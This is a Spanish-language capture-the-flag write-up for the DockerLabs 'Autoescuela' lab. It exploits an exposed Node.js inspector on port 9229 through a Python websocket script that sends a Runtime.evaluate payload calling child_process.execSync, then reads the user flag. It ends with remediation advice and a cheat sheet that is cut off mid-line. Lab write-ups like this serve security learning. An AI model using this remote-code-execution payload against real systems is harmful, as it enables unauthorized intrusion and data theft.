

Autoescuela

Writeup: Autoescuela (DockerLabs)

Vamos actualizando nuestro script <https://github.com/DanSanMar/scan4me> y lo probamos en esta máquina. Primero usamos el auto-reconocimiento de red y luego el auto-scan con salida xml para crear varios informes, un .html un .md y un .txt con un prompt para IA. Con esta base directamente y aprendemos sobre la vulnerabilidad encontrada de Node.js y practicamos en entornos WSL2 que se atraganta un poco.

Con la finalidad de seguir automatizando procesos el resumen de actuación también está generado parcialmente con IA.

1. Resumen

La máquina **Autoescuela** es un laboratorio de DockerLabs que presenta una aplicación web Express.js con una vulnerabilidad crítica de exposición del inspector de Node.js (`--inspect=0.0.0.0:9229`). Esta mala configuración permite la ejecución remota de código (RCE) inicial como el usuario `webuser` . La explotación del canal de depuración mediante inyección de código síncrono permite evadir las restricciones del entorno de red (NAT de WSL2) y extraer de forma directa la bandera del sistema (`user.txt`).

 ia_prompt_172.17.0.2.txt

 Writeup_172.17.0.2_170529.html

No se encontró "Writeup_172.17.0.2_170529".

 Writeup_172.17.0.2_171659.html

No se encontró "Writeup_172.17.0.2_171659".

2 Enumeración del Inspector de Node.js (Puerto 9229)

Se realiza una petición HTTP al endpoint de configuración del inspector remoto para extraer los metadatos de depuración:

Bash

```
curl -s http://172.17.0.2:9229/json
```

Resultado:

JSON

```
[ {
  "description": "node.js instance",
  "devtoolsFrontendUrl": "devtools://devtools/bundled/js_app.html?
experiments=true&v8only=true&ws=172.17.0.2:9229/5cb1f89c-93ca-4984-99ce-
81807eadd561",
  "devtoolsFrontendUrlCompat": "devtools://devtools/bundled/inspector.html?
experiments=true&v8only=true&ws=172.17.0.2:9229/5cb1f89c-93ca-4984-99ce-
81807eadd561",
  "faviconUrl": "https://nodejs.org/static/images/favicons/favicon.ico",
  "id": "5cb1f89c-93ca-4984-99ce-81807eadd561",
  "title": "/home/webuser/node_app/app.js",
  "type": "node",
  "url": "file:///home/webuser/node_app/app.js",
  "websocketDebuggerUrl": "ws://172.17.0.2:9229/5cb1f89c-93ca-4984-99ce-
81807eadd561"
} ]
```

 **Descubrimiento crítico:** El proceso Node.js expone el *Chrome DevTools Protocol* de manera pública en la dirección del WebSocket indicada en `websocketDebuggerUrl`. Esto permite interactuar con el motor V8 de ejecución de comandos JavaScript.

3. Explotación Inicial - Acceso como webuser

3.1 Vulnerabilidad: Node.js Inspector Expuesto

El inspector de Node.js fue iniciado de manera insegura en el entorno utilizando el parámetro `-inspect=0.0.0.0:9229`. Permite a cualquier atacante conectarse al WebSocket del debugger y ejecutar código mediante el método `Runtime.evaluate` del protocolo CDP.

3.2 Conexión al WebSocket del Inspector

Se utiliza un script en Python implementando la librería `websocket-client` para interactuar con la sesión remota identificada:

Python

```
import websocket
import json
```

```
ws_url = 'ws://172.17.0.2:9229/5cb1f89c-93ca-4984-99ce-81807eadd561'
ws = websocket.create_connection(ws_url)
```

3.3 Ejecución de Código (RCE)

Debido a que el entorno corre bajo un esquema moderno de módulos donde la función clásica `require` no está inyectada por defecto en el contexto global, se realiza una introspección escalando a través del objeto global `process.mainModule.require` para mandar comandos de sistema de forma síncrona mediante `execSync().toString()` para capturar la salida en la consola de depuración:

Python

```
cmd = "id"

payload = {
    "id": 1,
    "method": "Runtime.evaluate",
    "params": {
        "expression":
f"process.mainModule.require('child_process').execSync('{cmd}').toString()"
    }
}
```

- **Resultado de la ejecución:** uid=1001(webuser) gid=1001(webuser)
groups=1001(webuser)

3.4 Reconocimiento Interno e Inyección de Comandos (como webuser)

Utilizando el canal del inspector estructurado en Python de manera interactiva para listar el sistema y evadir el aislamiento de red (NAT de WSL2) que impedía recibir conexiones de tipo *reverse shell* tradicionales, se procedió a extraer la bandera del usuario leyendo directamente el sistema de archivos:

Bash

```
# Cambiando la variable 'cmd' en el exploit a: "cat /home/webuser/user.txt"
```

Resultado de la ejecución:

Bash

```
└─(kali@Vivodasus)-[~]
└─$ python3 xploit.py
[*] Conectando al WebSocket del objetivo...
[*] Enviando comando remoto: cat /home/webuser/user.txt

[+] --- OUTPUT DEL SERVIDOR ---
DL{g2QrDUvg3HiqaWeZBbZa}

[+] -----
```

Flag Capturada: DL{g2QrDUvg3HiqaWeZBbZa}

4. Lecciones Aprendidas y Recomendaciones

1. **Cierre Absoluto de Interfaces de Inspección:** El flag `--inspect` expone el núcleo de Node.js de forma directa. Bajo ninguna circunstancia debe ser enlazado a la dirección `0.0.0.0` en entornos distribuidos o de producción. La depuración debe realizarse vinculando el servicio exclusivamente a `127.0.0.1`.
2. **Gestión de Dependencias en Python:** El cumplimiento del estándar PEP 668 en distribuciones de auditoría modernas obliga al uso de entornos virtuales (`venv`) o flags explícitos para no alterar las librerías del sistema operativo durante las fases operativas de explotación.

5. Comandos Clave (Cheat Sheet)

Reconocimiento de puertos e Inspector

Bash

```
nmap -p- --open -sS -T4 172.17.0.2
curl -s http://172.17.0.2:9229/json
```

Inyección de Código Remoto Síncrono (Python Code Context)

Python

```
# Estructura del payload síncrono para leer respuestas de consola directo
sobre el WebSocket
"expression": "process.mainModule.require('child_process').execSync('cat
```